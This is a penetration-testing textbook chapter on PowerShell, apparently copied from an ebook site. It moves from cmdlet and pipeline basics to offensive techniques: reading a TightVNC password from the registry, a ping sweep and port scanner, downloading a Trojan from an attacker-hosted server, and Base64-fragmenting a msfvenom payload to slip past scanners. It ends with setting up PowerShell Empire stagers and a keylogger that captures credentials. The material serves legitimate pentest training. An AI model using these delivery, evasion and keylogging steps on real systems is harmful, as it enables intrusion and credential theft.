Chapter 9: PowerShell Fundamentals

Windows – it’s the operating system you love to hate. Or is it hate to love? Either way, it’s a divisive one among security professionals. Tell a total layperson to walk into a security conference and simply complain about Windows and he’s in like Flynn. No matter your position, one thing we can be sure of is its power. The landscape of assessing Windows environments changed dramatically in 2006 when PowerShell appeared on the scene. Suddenly, an individual Windows host had a sophisticated task automation and administration framework built right into it.

One of the important lessons of the post-exploitation activities in a penetration test is that we’re not always compromising a machine, nabbing the data out of it, and moving on; these days, even a low-value Windows foothold becomes an attack platform in its own right. One of the most dramatic ways to demonstrate this is by leveraging PowerShell from our foothold.

In this chapter, we will cover the following topics:

  • Exploring PowerShell commands and the scripting language
  • Understanding basic post-exploitation with PowerShell
  • Introducing the PowerShell Empire framework
  • Exploring listener, stager, and agent concepts in PowerShell Empire

Technical requirements

The following are the operating system requirements for this chapter:

  • Kali Linux
  • Windows 7 or 10

Power to the shell – PowerShell fundamentals

PowerShell is a command-line and scripting language framework for task automation and configuration management. I didn’t specify for Windows as, for a couple of years now, PowerShell has been cross-platform; however, it’s a Microsoft product. These days, it’s built into Windows, and despite its powerful potential for an attacker, it isn’t going to be fully blocked. For the Windows pen testers of today, it’s a comprehensive and powerful tool in their arsenal that just so happens to be installed on all of their victims’ PCs.

What is PowerShell?

PowerShell can be a little overwhelming to understand when you first meet it, but ultimately, it’s just a fancy interface. PowerShell interfaces with providers, which allows you to access functionality that can’t easily be leveraged at the command line. In a way, they’re like hardware drivers – code that provides a way for software and hardware to communicate. Providers allow us to communicate with functionality and components of Windows from the command line.

When I described PowerShell as a task automation and configuration management framework, that’s more along the lines of Microsoft’s definition of PowerShell. As hackers, we think of what things can do, not necessarily how their creators defined them; in that sense, PowerShell is the Windows command line on steroids. It can do anything you’re used to doing in the standard Windows command shell. For example, fire up PowerShell and try using a good old-fashioned ipconfig command, as shown in the following screenshot:

Figure 9.1 – PowerShell can do everything CMD can do

Figure 9.1 – PowerShell can do everything CMD can do

This works just fine. Now that we know what PowerShell lets us keep doing, let’s take a look at what makes it special.

For one, the standard Windows CMD is purely a Microsoft creation. Sure, the concept of a command shell isn’t unique to Windows, but how it’s implemented is unique as Windows has always done things in its own way. PowerShell, on the other hand, takes some of the best ideas from other shells and languages and brings them together. Have you ever spent a lot of time in Linux, and then accidentally typed ls instead of dir inside the Windows command line? What happens in PowerShell? Let’s see:

Figure 9.2 – Comparing dir with ls

Figure 9.2 – Comparing dir with ls

That’s right – the ls command works in PowerShell, alongside the old-school dir and PowerShell’s Get-ChildItem. Let’s look closer at PowerShell’s native way of doing things: cmdlets.

PowerShell’s cmdlets and the PowerShell scripting language

I had your attention when we talked about ls and dir, but you may have raised an eyebrow at Get-ChildItem. It sounds like something I’d put on my shopping list to remind myself to get a dinosaur toy for my kids (they’re really into dinosaurs right now). It’s one of PowerShell’s special ways of running commands called commandlets (cmdlets). A cmdlet is just a command, at least conceptually; behind the scenes, they’re .NET classes for implementing particular functionality. They’re the native bodies of commands within PowerShell and they use a unique self-explanatory syntax style: verb-noun. Before we go any further, let’s get familiar with the most important cmdlet of them all – Get-Help:

Figure 9.3 – The Get-Help cmdlet is always by your side

Figure 9.3 – The Get-Help cmdlet is always by your side

By punching in Get-Help [cmdlet name], you’ll find detailed information on the cmdlet, including example usage. The best part? It supports wildcards. Try using Get-Help Get* and note the following:

Figure 9.4 – Wildcards with cmdlets

Figure 9.4 – Wildcards with cmdlets

Get-Help is pretty powerful, and we’re only scratching the surface. Now that we know how to get help along the way, let’s try some basic work with the Windows Registry.

Working with the Windows Registry

Let’s work with a Get cmdlet to nab some data from the registry, and then convert it into a different format for our use. It just so happens that the machine I’ve attacked is running the TightVNC server, which stores an encrypted copy of the control password in the registry. This encryption is notoriously crackable, so let’s use PowerShell exclusively to grab the password in hexadecimal format, as follows:

> $FormatEnumerationLimit = -1

> Get-ItemProperty -Path registry::hklmsoftwareTightVNCServer -Name ControlPassword

> $password = 139, 16, 57, 246, 188, 35, 53, 209

> ForEach ($hex in $password) {

>> [Convert]::ToString($hex, 16) }

Let’s examine what we did here. First, I set the $FormatEnumerationLimit global variable to -1. As an experiment, try extracting the password without setting this variable first – what happens? The password gets cut off after 3 bytes. You can set $FormatEnumerationLimit to define how many bytes are displayed, with the default intention being space-saving. Setting it to -1 is effectively saying no limit.

Next, we must issue the Get-ItemProperty cmdlet to extract the value from the registry. Note that we can use hklm as an alias for HKEY_LOCAL_MACHINE. Without -Name, it will display all of the values in the Server key. PowerShell will show us the properties of the requested item:

Figure 9.5 – Converting the decimal array into hex

Figure 9.5 – Converting the decimal array into hex

At this point, our job is technically complete – we wanted the ControlPassword value, and now we have it. There’s just one problem: the bytes are in base-10 (decimal). This is human-friendly, but not binary-friendly, so let’s convert the password with PowerShell. (Hey, we’re already here.) First, set a $password variable and separate the raw decimal values with commas. This tells PowerShell that you’re declaring an array. For fun, try setting the numbers inside quotation marks – what happens? The variable will then become a string with your numbers and commas, and ForEach is only going to see one item. Speaking of ForEach, that cmdlet is our last step – it defines a for-each loop (I told you these cmdlet names were self-explanatory) to conduct an operation on each item in the array. In this case, the operation is converting each value into base-16.

This is just one small example. PowerShell can be used to manipulate anything in the Windows operating system, including files and services. Remember that PowerShell can do anything the GUI can.

Pipelines and loops in PowerShell

As I mentioned previously, PowerShell has the DNA of the best shells. You can dive right in with the tricks of the trade you’re already used to. Piping command output into a for loop? That’s kid’s stuff.

Take our previous example: we ended up with an array of decimal values and we need to convert each one into a hex. It should be apparent to even beginner programmers that this is an ideal for loop situation (for instance, ForEach in PowerShell). What’s great about pipelining in PowerShell is that you can pipe the object coming out of a cmdlet into another cmdlet, including ForEach. In other words, you can execute a cmdlet that outputs a list that is then piped into a for loop. Life is made even simpler with the single character alias for the ForEach cmdlet: %. Let’s take a look at an example. Both of these lines do the same thing:

> ls *.txt | ForEach-Object {cat $_}

> ls *.txt | % {cat $_}

If executed in a path with more than one text file, the ls *.txt command will produce a list of results; these are the input for ForEach-Object, with each item represented as $_.

There is technically a distinction between a for loop and a for-each loop, with the latter being a kind of for loop. A standard for loop essentially executes code a defined number of times, whereas the for each loop executes code for each item in an array or list.

We can define a number range with two periods (..). For example, 5..9 says to PowerShell, 5, 6, 7, 8, 9. With this simple syntax, we can pipe ranges of numbers into a for loop this is handy for doing a task a set number of times, or even for using those numbers as arguments for a command. (I think I hear the hacker in you now – we could make a PowerShell port scanner, couldn't we? Come on, don’t spoil the surprise. Keep reading.) So, by piping a number range into ForEach, we can work with each number as $_. What do you think will happen if we run this command? Let’s see:

> 1..20 | % {echo "Hello, world! Here is number $_!"}

Naturally, we can build pipelines – a series of cmdlets passing output down the chain. For example, check out the following command:

> Get-Service Dhcp | Stop-Service -PassThru -Force | Set-Service -StartupType Disabled

Note that by defining the Dhcp service in the first cmdlet in the pipeline, Stop-Service and Set-Service already know what we’re working with.

I can hear you shouting from the back, “what about an interactive scripting environment for more serious development?” Say no more.

It gets better – PowerShell’s ISE

One of the coolest things about PowerShell is the interactive scripting environment (ISE) that is built into the whole package. It features an interactive shell where you can run commands as you would in a normal shell session, as well as a coding window with syntax awareness and debugging features.

You can write up, test, and send scripts just like in any other programming experience:

Figure 9.6 – Windows PowerShell ISE

Figure 9.6 – Windows PowerShell ISE

The file extension for any PowerShell script you write is ps1. Unfortunately, not all PowerShell installations are the same, and different versions of PowerShell have some differences; keep this in mind when you hope to run the ps1 file you wrote on a given host.

This was a pleasant introduction to PowerShell basics, but now, we need to start understanding how PowerShell will be one of your favorite tools in your hacking bag.

Post-exploitation with PowerShell

PowerShell is a full Windows administration framework, and it’s built into the operating system. It can’t be completely blocked. When we talk about post-exploitation in Windows environments, consideration of PowerShell is not a nice-to-have – it’s a necessity. We’ll examine the post phase in more detail in the last two chapters of this book, but for now, let’s introduce PowerShell’s role in bringing our attack to the next stage and one step closer to total compromise.

ICMP enumeration from a pivot point with PowerShell

So, you have your foothold on a Windows 7 or 10 box. Setting aside the possibility of uploading our tools, can we use a plain off-the-shelf copy of Windows 7 or 10 to poke around for a potential next stepping stone? With PowerShell, there isn’t much we can’t do.

As we mentioned earlier, we can pipe a number range into ForEach. So, if we’re on a network with a netmask of 255.255.255.0, our range could be 1 through 255 piped into a ping command. Let’s see it in action:

> 1..255 | % {echo "192.168.63.$_"; ping -n 1 -w 100 192.168.63.$_ | Select-String ttl}

As you can see, this will find results with the ttl string and thus, responses to the ping request:

Figure 9.7 – The quick ping sweeper

Figure 9.7 – The quick ping sweeper

Let’s stroll down the pipeline. First, we define a range of numbers: an inclusive array from 1 to 255. This is input to the ForEach alias, %, where we run an echo command and a ping command, using the current value in the loop as the last decimal octet for the IP address. As you already know, ping returns status information; this output is piped further down to Select-String to grep out the ttl string since this is one way of knowing we have a hit (we won’t see a TTL value unless a host responded to the ping request). Voilà – a PowerShell ping sweeper. It’s slow and crude, but we work with what is presented to us.

You might be wondering that if we have access to fire off PowerShell, why don’t we have access to a Meterpreter session and/or upload a toolset? Maybe, but maybe not – perhaps we have VNC access after cracking a weak password, but that isn’t a system compromise or presence on the domain. Another possibility is the insider threat – someone left a workstation open, we snuck up and sat down at their keyboard, and one of the few things we have time for is firing off a PowerShell one-liner. The pen tester must always maintain flexibility and keep an open mind.

You can imagine the next step after a ping sweep – looking for open ports, right from our PowerShell session.

PowerShell as a TCP-connect port scanner

Now that we have a host in mind, we can learn more about it with the following one-liner, which is designed to attempt TCP connections to all specified ports:

> 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.63.147", $_)) "Open port - $_"} 2>$null

Let’s see what this would look like after we do a quick ping sweep of a handful of hosts:

Figure 9.8 – The PowerShell port scan

Figure 9.8 – The PowerShell port scan

As you can see, this is just taking the basics we’ve learned about to the next level. 1..1024 defines our port range and pipes the array into %; with each iteration, a TCP client module is brought up to attempt a connection on the port. 2>$null blackholes STDERR; in other words, a returned error means the port isn’t open and the response is thrown in the trash.

We know from TCP and working with tools such as Nmap that there is a variety of port scanning strategies; for example, half-open scanning, where SYNs are sent to elicit the SYN-ACK response of an open port, but without completing the handshake with an ACK value. So, what is happening behind the scenes with our quick and dirty port scanner script? It’s a Connect module for TcpClient – it’s designed to create TCP connections. It doesn’t know that it’s being used for port scanning. It’s attempting to create full three-way handshakes and it will return successfully if the handshake is completed. We must understand what’s happening on the network.

Since we’re talking to the network, let’s see what we can get away with when we need to get malicious programs onto a target.

Delivering a Trojan to your target via PowerShell

You have PowerShell access. You have a Trojan sitting on your Kali box that you need to deliver to the target. Here, you can host the file on your Kali box and use PowerShell to avoid pesky browser alerts and memory utilization.

First, we’re hosting the file with python -m SimpleHTTPServer 80, which is executed inside the folder containing the Trojan. When we’re ready, we can execute a PowerShell command that utilizes WebClient to download the file and write it to a local path:

> (New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:windows empattack1.exe")

Let’s see what this looks like when we execute it and run ls to validate:

Figure 9.9 – Downloading an EXE from an HTTP server

Figure 9.9 – Downloading an EXE from an HTTP server

It’s important to note that the destination path isn’t arbitrary; it must exist. This one-liner isn’t going to create a directory for you, so if you try to just throw it anywhere without confirming its presence on the host, you may pull an exception. Assuming this isn’t an issue, and the command has finished running, we can cd into the chosen directory and see our executable ready to go.

I know what you’re thinking, though – pulling an EXE file from the network like this isn't exactly stealthy. Right you are. Any endpoint protection product worth its salt will immediately nab this attempt. What we need to do is think about how we can smuggle the file in by converting it into something less suspicious than plain executable code. What if we converted our malicious binary into Base64? Then, we could write it into a plain text file, and PowerShell can treat it like an ordinary string. Let’s take a closer look.

Encoding and decoding binaries in PowerShell

First, we’re going to switch back to our Kali box and create a quick executable bug with msfvenom. Then, we’re going to send it over to our Windows box by serving it up with SimpleHTTPServer:

Figure 9.10 – Building and serving the malicious executable

Figure 9.10 – Building and serving the malicious executable

I’m calling this file sneaky.exe for this example. Now, let’s work our magic and read the raw bytes out of the EXE, compress the result, then convert it into Base64. Let’s get cracking:

$rawData = [System.IO.File]::ReadAllBytes("C:UsersramwDownloadssneaky.exe")

$memStream = New-Object IO.MemoryStream                

$compressStream = New-Object System.IO.Compression.GZipStream ($memStream, [IO.Compression.CompressionMode]::Compress)

$compressStream.Write($rawData, 0, $rawData.Length)

$compressStream.Close()

$compressedRaw = $memStream.ToArray()

$b64Compress = [Convert]::ToBase64String($compressedRaw)

$b64Compress | Out-File b64Compress.txt

Let’s examine what just happened step by step. Note that we’re using PowerShell to interact with .NET – tremendous power in a snap:

  1. Under the System.IO namespace, the File class contains the ReadAllBytes method. This simply opens a binary and reads the result into a byte array, which we are calling $rawData.
  2. Next, we create a MemoryStream object called $memStream, where we’ll pack up the raw bytes using the GZipStream class. In other words, we’ll compress the contents of $rawData with the gzip file format specification.
  3. Then, we create another array of raw bytes, $compressedRaw, but this time the data is our original byte array compressed with gzip.
  4. Finally, we convert the compressed byte array into a Base64 string. At this point, we can treat $b64Compress like any other string; in our example, we wrote it into a text file.

Now, you can open this text file just like you would any other plain text file. Why not write it on a napkin in crayon and give it to your buddies?

Figure 9.11 – Plain text Base64 representation of our binary

Figure 9.11 – Plain text Base64 representation of our binary

The possibilities are limited by your imagination, but in our example, I served up the plain text to be fetched by my PowerShell script within the target environment. Let’s not underestimate the defenders: even though it’s ordinary text, it’s also obviously Base64 and it isn’t encrypted, so a quick scan would reveal its purpose. When I tried to email it to myself, Gmail was on to us, as shown in the following screenshot:

Figure 9.12 – Nice catch, Google!

Figure 9.12 – Nice catch, Google!

Fear not, as this clever scan considered all the binary data. Snip off a few letters and it will end up mangled. Again, the possibilities are limited only by your imagination, but the idea is that you create a jigsaw puzzle made up of pieces of Base64 code that you will merely concatenate on the receiving end. In our example, let’s just snip off the first five characters from our text file and then serve the remaining characters on the network. Let’s take a look:

Invoke-WebRequest -Uri "http://192.168.108.211:8000/sneaky.txt" -OutFile "fragment.txt"

$fragment = Get-Content -Path "fragment.txt"

$final = "H4sIA" + $fragment

$compressedFromb64 = [Convert]::FromBase64String($final)

$memoryStream = New-Object io.MemoryStream( , $compressedFromb64)          

$compressStream = New-Object System.io.Compression.GZipStream($memoryStream, [io.Compression.CompressionMode]::Decompress)

$finalStream = New-Object io.MemoryStream    

$compressStream.CopyTo($finalStream)

$DesktopPath = [Environment]::GetFolderPath("Desktop")

$TargetPath = $DesktopPath + "NotNaughty.exe"

[IO.File]::WriteAllBytes($TargetPath, $finalStream.ToArray())

We can do all of this with fewer lines, but I laid it out like this so that we can see each stage of the attack. Once our script has pulled the fragment, we simply concatenate the missing piece and save it as $final. Thus, $final now contains Base64-encoded, gzip-compressed binary code in EXE format. We can use the same methods that we did previously in reverse, and then use the WriteAllBytes method to recreate the EXE on our end. Combine this trick with the malware evasion techniques we discussed previously in this book and you have yourself a powerful channel for smuggling your tools into the target environment.

Just as everything in Metasploit can be done manually, thankfully, we have a framework in our work bag that will ease the manual tasks of developing powerful PowerShell attacks. Let’s take a look at the Empire framework.

Offensive PowerShell – introducing the Empire framework

The fact that we can sit down at a Windows box and use PowerShell to interact with the operating system so intimately is certainly a Windows administrator’s dream come true. As attackers, we see the parts for a precision-guided missile, and we only need the time to construct it. In a pen test, we just don’t have the time to write the perfect PowerShell script on the fly, so the average pen tester has a candy bag full of homegrown scripts for certain tasks. One of the scripts I used client after client did nothing more than poke around for open ports and dump the IP addresses into text files inside folders named after the open port. Things like that sound mundane and borderline pointless – until you’re out in the field and realize you’ve saved dozens of hours.

The advanced security professional sees tools such as Metasploit in this light – a framework for organized, efficient, and tidy delivery of our tools for when the built-in set doesn’t cut it. In the world of PowerShell, there is a framework that automates the task of staging and managing a communications channel with our target for sophisticated PowerShell attacks. Welcome to the Empire.

Installing and introducing PowerShell Empire

Let’s introduce PowerShell Empire by taking a hands-on look at it. Installing it is a snap, but first, we’ll update apt:

Figure 9.13 – Installing PowerShell Empire on Kali

Figure 9.13 – Installing PowerShell Empire on Kali

Once it’s been installed, you can start the team server with the following command:

powershell-empire server

That’s right – red-teaming made easy with PowerShell Empire. Note the RESTful API hosted on port 1337, as well – a lot of automation can be built with your favorite language, allowing you to do the work of many attackers from one PC on a tight schedule.

For now, let’s just fire up the Empire client in a new window:

powershell-empire client

Notice anything in particular about this client interface?

Figure 9.14 – The client window for Empire

Figure 9.14 – The client window for Empire

That’s right – it has Metasploit’s look and feel. Check out the status above the prompt: it’s telling us that three principal components make Empire tick. These are modules, listeners, and agents. Though it isn’t displayed here, an equally important fourth component is stagers. These concepts will become clearer as we dive in, but let’s look at them in more detail:

  • A module is essentially the same concept as a module in Metasploit – it’s a piece of code that conducts a particular task and serves as our attack’s payload.
  • A listener is self-explanatory: this will run on the local Kali machine and wait for the connection back from a compromised target.
  • Agents are meant to reside on a target, which helps persist the connection between the attacker and the target. They take module commands to execute on the target.
  • Stagers are the same as they are in Metasploit: pieces of code that set the stage for our module to run on the compromised host. Think of it as the communications broker between the attacker and the target.

Let’s start with the most important command for first-time users – help:

Figure 9.15 – Empire’s help menu

Figure 9.15 – Empire’s help menu

Have you noticed that both PowerShell and PowerShell Empire make learning on the go easy? You can fire off help at any time to see the supported commands and learn more about them. Did you notice that 396 modules were loaded? You can quickly review those as well – type usemodule with a space on the end and use the arrow keys to browse the list:

Figure 9.16 – Autocomplete in Empire

Figure 9.16 – Autocomplete in Empire

Note the overlap with Metasploit in both module tree layout and even functionality. What distinguishes Empire, then? Well, you know how I feel about just telling you when we could be looking at the PowerShell scripts ourselves, right?

In a new window, use cd Empire/data/module_source/credentials to change to the credentials module’s source directory, and then list the contents with ls:

Figure 9.17 – Taking a peek at the raw scripts

Figure 9.17 – Taking a peek at the raw scripts

Check it out: .ps1 files. Let’s crack one open. Execute vim dumpCredStore.ps1:

Figure 9.18 – Taking a peek inside a credentials nabber script

Figure 9.18 – Taking a peek inside a credentials nabber script

These are quite sophisticated and powerful PowerShell scripts. Now, I know what the hacker in you is saying – “Just as we wrote up modules for Metasploit in Ruby, I can write up some PowerShell scripts and incorporate them into my attacks with Empire.” Jolly well done. I leave that exercise to you because we need to get back to learning how to set up an Empire attack with listeners, stagers, and agents.

Configuring listeners

In theory, you could start working on, say, an agent right off the bat. You can’t get anywhere without a listener, though. You shouldn’t venture out into the jungle without a way to get back home. From the main Empire prompt, type listeners and hit Enter:

Figure 9.19 – The listeners interface

Figure 9.19 – The listeners interface

Note that this changes the prompt; the CLI uses an iOS-like style for entering configuration modes. You’re now in listeners mode, so typing help again will show you the listeners help menu.

Now, type uselistener with a space on the end to show the available listeners. The HTTP listener sounds like a good idea – port 80 tends to be open on firewalls. Complete the uselistener/http command and then check the options with info:

Figure 9.20 – The interface for a specific listener

Figure 9.20 – The interface for a specific listener

If this isn’t looking familiar to you yet, now you’ll see the interface smacks of Metasploit. Isn’t it cozy? It kind of makes me want to curl up with some hot cocoa.

You’ll notice the options default to everything you need, so you could just fire off execute to set it up. There are a lot of options, though, so consider your environment and goals. If you change the host to HTTPS, Empire will configure it accordingly on the backend, but you’ll need a certificate. Empire comes with a self-signed certificate generator that will place the result in the correct folder – run cert.sh from within the setup folder. For now, I’m using plain HTTP. You’ll need to configure the listening port with set Port 80. Once you execute it, type main to go back to the main Empire prompt. Notice that the listeners count is now 1. Now, let’s learn how to configure stagers.

Configuring stagers

Type usestager with a space on the end to see the stagers that are available to us:

Figure 9.21 – Autocomplete with usestager

Figure 9.21 – Autocomplete with usestager

As you can see, there’s social engineering potential here; I’ll leave it to your creativity to develop ways to convince users to execute a malicious macro that’s embedded in a Word document. Such attacks are still prevalent even at the time of writing, and unfortunately, we sometimes see them getting through. For now, I’m going with the VBScript stager, so I’ll complete the usestager windows/launcher_vbs command. We will immediately see our options menu. There are two important things to note when configuring options:

  • The stager has to know which listener to associate with. You define it here by name; in the old days, you had to make a note of the listener’s name when you first created it. Now, putting a space after set Listener will automatically give you a list of the existing listeners.
  • These options are case-sensitive.

There are some great options and they’re shown in the following table. My favorite is the code obfuscation feature. I encourage you to play around with this option and try to review the resulting code (obfuscation requires PowerShell to be installed locally):

Figure 9.22 – Stager options menu

Figure 9.22 – Stager options menu

Once you’re ready, fire off execute to generate the stager. You’ll find the resulting VBSript file under /var/lib/powershell-empire/empire/client/generated-stagers.

Go ahead and crack open your fancy new stager. Let’s take a look inside.

Your inside guy – working with agents

Did you check out the VBScript? It’s pretty nifty. Check it out: vim /var/lib/powershell-empire/empire/client/generated-stagers/launcher.vbs. Even though we didn’t configure obfuscation for the actual PowerShell, the purpose of this VBScript is hard to determine, as you can see:

Figure 9.23 – Taking a peek inside the VBScript stager

Figure 9.23 – Taking a peek inside the VBScript stager

Regardless of what method you chose, we’re working in a three-stage agent delivery process with Empire. The stager is what opens the door; Empire takes care of the agent’s travels, as shown in the following diagram:

Figure 9.24 – The three-stage agent delivery process

Figure 9.24 – The three-stage agent delivery process

When you execute the stager on your Windows target, you won’t see anything happen. Look at your Empire screen, though, and watch the three-stage agent delivery process complete. The agent-attacker relationship is similar to a Meterpreter session and is managed similarly. Type agents to enter the agents menu and then use interact to talk to the particular agent that just got set up:

Figure 9.25 – Active agent ready to be tasked

Figure 9.25 – Active agent ready to be tasked

As always, use help to find out what interaction options are available to you. For now, let’s grab a screenshot from the target with sc. The client window will simply tell you that it tasked the agent, but you can switch back to the server window to see some of the behind-the-scenes details:

Figure 9.26 – Details of a task in the server window

Figure 9.26 – Details of a task in the server window

You’ll find your loot in /var/lib/powershell-empire/downloads. A screenshot is fun, but passwords will be visually obfuscated, so let’s wrap up our introduction with a PowerShell keylogging module.

Configuring a module for agent tasking

First, enter agents mode by entering the agents command. Execute usemodule powershell/collection/keylogger, followed by set Agent with the name you just noted. Fire off execute and sit back as your agent behind enemy lines gets to work. Back in your interact session, use the view command to see how things are coming along with your tasks.

I would be happy to write a big, complicated paragraph detailing all of the moving parts, but it’s that simple to configure a basic module and task an agent with it. The Empire framework is just too handy to limit to this introductory chapter – we have some work in escalation and persistence to do, so keep this fantastic tool close at hand. Check out the result from this lab: we captured some credentials, and the agent was nice enough to give us the title of the page where it was entered:

Figure 9.27 – Captured keystrokes sent by the Empire agent

Figure 9.27 – Captured keystrokes sent by the Empire agent

Just like when we were configuring listeners and stagers, we have optional settings and some that are required, and Empire does its best to configure them for you in advance. Carefully review the available options before tasking your agent with the module.

In a modern Windows enterprise environment, PowerShell is the ultimate “live off the land” tool at our disposal, and the Empire framework has the power to make you a ninja at your assessments. If you followed along with these labs, you already have the foundation to explore deeper, so crack open that target VM and try out some new tricks. We’ll be playing with Empire during our post-exploitation work, so stay tuned.

Summary

In this chapter, we explored PowerShell from two perspectives. First, we introduced PowerShell as an interactive task management command-line utility and as a scripting language. Then, we leveraged PowerShell scripts built into the PowerShell Empire attack framework as a way of demonstrating the potential when attacking Windows machines. Ultimately, we learned how to leverage a foothold on a Windows machine using built-in functionality to prepare for later stages of the attack.

This introduction is an ideal segue into the concepts of privilege escalation and persistence, where we’ll turn our foothold into a fully privileged compromise and pave the way to maintain our access to facilitate the project in the long term. For now, we’ll jump into the next chapter where we introduce shellcoding and take a crash course in manipulating the stack.

Questions

Answer the following questions to test your knowledge of this chapter:

  1. ls, dir, and PowerShell’s _____ provide the same functionality.
  2. What does [Convert]::ToString($number, 2) do to the $number variable?
  3. In PowerShell, we grep out results with ____.
  4. The following command will create the c:shell directory to write shell.exe to it (True | False):

    (New-Object System.Net.WebClient).DownloadFile("http://10.10.0.2/shell.exe", "c:shellshell.exe")

  5. When configuring an HTTPS listener, you can use the cert.sh script to prevent the target browser from displaying a certificate alert. (True | False)

Further reading

For more information regarding the topics that were covered in this chapter, take a look at the following resources:

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.135.193.124